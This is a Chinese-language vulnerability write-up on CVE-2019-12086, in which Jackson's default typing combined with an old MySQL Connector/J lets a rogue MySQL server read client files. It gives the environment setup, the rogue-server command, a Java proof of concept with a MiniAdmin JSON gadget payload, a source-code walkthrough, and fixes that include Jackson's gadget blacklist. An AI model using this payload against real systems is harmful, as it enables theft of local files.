CVE-2019-12086:jackson 反序列化读取文件

2022-09-07 17:24:23 浏览数 (1)

影响范围

Jackson 2.x系列 < 2.9.9

漏洞类型

反序列化导致任意文件读取

利用条件
  • 开启Default Typing
  • 目标环境中存在8.0.14版本以下的MySQL驱动,即mysql-connector-java版本 < 8.0.14
漏洞概述

在开启DefaultTyping的情况下,jackson在反序列化json时,可以指定反序列化类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。

com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库,在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。

漏洞复现
环境搭建

pom.xml

代码语言:javascript复制
  <dependencies>
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-core</artifactId>
      <version>2.9.2</version>
    </dependency>

    <!-- https://mvnrepository.com/artifact/com.fasterxml.jackson.core/jackson-databind -->
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.9.2</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
    <dependency>
      <groupId>mysql</groupId>
      <artifactId>mysql-connector-java</artifactId>
      <version>8.0.14</version>
    </dependency>
  </dependencies>
漏洞利用
启动恶意Mysql服务

下载恶意的MySQL服务器启动脚本(https://github.com/allyshka/Rogue-MySql-Server),之后修改脚本中的filelist文件,指定要读取的文件路径:

之后运行脚本,并核对是否开启3306端口:

代码语言:javascript复制
python rogue_mysql_server.py "C:/Windows/win.ini"

执行漏洞POC

代码语言:javascript复制
package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class Poc {
    public static void main(String[] args) throws Exception{
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json="["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://127.0.0.1:3306/foo"]";
        try {
            mapper.readValue(json, Object.class);
        }catch(IOException e){
            e.printStackTrace();
        }
    }

}
漏洞分析
知识拓展
LOAD DATA LOCAL

MySQL支持使用LOAD DATA LOCAL INFILE语法,即可将客户端本地的文件中的数据insert到MySQL的某张表中。

协议的工作过程大致如下:

  1. 用户在客户端输入:load data local file “/data.txt” into table test;
  2. 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
  3. 服务端->客户端:把你本地的/data.txt文件发给我;
  4. 客户端->服务端:/data.txt文件的内容;

问题在于,客户端发送哪个文件的内容,取决于第三步即服务端响应的想要的哪个文件,如果服务端是个恶意的MySQL,那么它可以读取客户端的任意文件内容,比如读取/etc/passwd:

  1. 用户在客户端输入:load data local file “/data.txt” into table test;
  2. 客户端->服务端:我想把我本地的/data.txt文件插入到test表中;
  3. 服务端->客户端:把你本地的/etc/passwd文件发给我;
  4. 客户端->服务端:/etc/passwd文件的内容;

而且,在大部分客户端(比如MySQL Connect/J)的实现里,第一步和第二部并非是必须的,客户端发送任意查询给服务端,服务端都可以返回文件发送的请求。而大部分客户端在建立连接之后,都会有一些查询服务器配置之类的查询,所以使用这些客户端,只要创建了到恶意MySQL服务器的连接,那么客户端所在的服务器上的所有文件都可能泄露。

allowLoadLocalInfile

allowLoadLocalInfile是MySQL的JDBC驱动的一个创建连接的配置项,用来控制是否允许从本地读取文件,默认值为True。

源码分析

在mapper.readValue处下断点进行调试分析:

之后一路调试到UntypedObjectDeserializer.deserializeWithType()函数,其中会调用AsArrayTypeDeserializer.deserializeTypedFromAny()函数来解析我们数组形式的JSON内容:

继续往下调试,发现会调用BeanDeserializerBase.deserializeFromString()函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:

之后继续跟进查看StdValueInstantiator.createFromString()函数,此时_fromStringCreator变量为AnnotatedConstructor类实例,参数value值为jdbc:127.0.0.1:3306/foo,接着就是调用AnnotatedConstructor.call1():

跟进去发现调用了Constructor.newInstance()方法来创建新的实例:

之后调用重载的构造函数MiniAdmin(),在该函数中会新建一个Driver示例并调用实例的connect方法,且以jdbcurl和props(类)为参数:

之后一路跟进,会调用NonRegisteringDriver.class中的connect方法进行连接初始化操作:

之后会去解析连接:

最后连接恶意Mysql服务器,并将本地客户端的敏感文件上传到恶意服务器端,从而造成任意文件读取~

修复建议

1、MySQL Connector/J的修复:

MySQL Connector/J从8.0.15版本开始将allowLoadLocalInfile默认值设置为false:

https://dev.mysql.com/doc/relnotes/connector-j/8.0/en/news-8-0-15.html

2、Jackson的修复:

从2.9.9版本开始,Jackson将”com.mysql.cj.jdbc.admin.MiniAdmin”加入到反序列化黑名单中:

代码语言:javascript复制
    static {
        Set<String> s = new HashSet<String>();
        // Courtesy of [https://github.com/kantega/notsoserial]:
        // (and wrt [databind#1599])
        s.add("org.apache.commons.collections.functors.InvokerTransformer");
        s.add("org.apache.commons.collections.functors.InstantiateTransformer");
        s.add("org.apache.commons.collections4.functors.InvokerTransformer");
        s.add("org.apache.commons.collections4.functors.InstantiateTransformer");
        s.add("org.codehaus.groovy.runtime.ConvertedClosure");
        s.add("org.codehaus.groovy.runtime.MethodClosure");
        s.add("org.springframework.beans.factory.ObjectFactory");
        s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        s.add("org.apache.xalan.xsltc.trax.TemplatesImpl");
        // [databind#1680]: may or may not be problem, take no chance
        s.add("com.sun.rowset.JdbcRowSetImpl");
        // [databind#1737]; JDK provided
        s.add("java.util.logging.FileHandler");
        s.add("java.rmi.server.UnicastRemoteObject");
        // [databind#1737]; 3rd party
//s.add("org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor"); // deprecated by [databind#1855]
        s.add("org.springframework.beans.factory.config.PropertyPathFactoryBean");

// s.add("com.mchange.v2.c3p0.JndiRefForwardingDataSource"); // deprecated by [databind#1931]
// s.add("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); // - "" -
        // [databind#1855]: more 3rd party
        s.add("org.apache.tomcat.dbcp.dbcp2.BasicDataSource");
        s.add("com.sun.org.apache.bcel.internal.util.ClassLoader");
        // [databind#1899]: more 3rd party
        s.add("org.hibernate.jmx.StatisticsService");
        s.add("org.apache.ibatis.datasource.jndi.JndiDataSourceFactory");
        // [databind#2032]: more 3rd party; data exfiltration via xml parsed ext entities
        s.add("org.apache.ibatis.parsing.XPathParser");

        // [databind#2052]: Jodd-db, with jndi/ldap lookup
        s.add("jodd.db.connection.DataSourceConnectionProvider");

        // [databind#2058]: Oracle JDBC driver, with jndi/ldap lookup
        s.add("oracle.jdbc.connector.OracleManagedConnectionFactory");
        s.add("oracle.jdbc.rowset.OracleJDBCRowSet");

        // [databind#2097]: some 3rd party, one JDK-bundled
        s.add("org.slf4j.ext.EventData");
        s.add("flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor");
        s.add("com.sun.deploy.security.ruleset.DRSHelper");
        s.add("org.apache.axis2.jaxws.spi.handler.HandlerResolverImpl");

        // [databind#2186]: yet more 3rd party gadgets
        s.add("org.jboss.util.propertyeditor.DocumentEditor");
        s.add("org.apache.openjpa.ee.RegistryManagedRuntime");
        s.add("org.apache.openjpa.ee.JNDIManagedRuntime");
        s.add("org.apache.axis2.transport.jms.JMSOutTransportInfo");

        // [databind#2326] (2.9.9): one more 3rd party gadget
        s.add("com.mysql.cj.jdbc.admin.MiniAdmin");

        DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);
    }
参考链接

https://www.cnblogs.com/xinzhao/p/11005419.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12086

https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.9.9

https://github.com/FasterXML/jackson-databind/issues/2326

https://nvd.nist.gov/vuln/detail/CVE-2019-12086

0 人点赞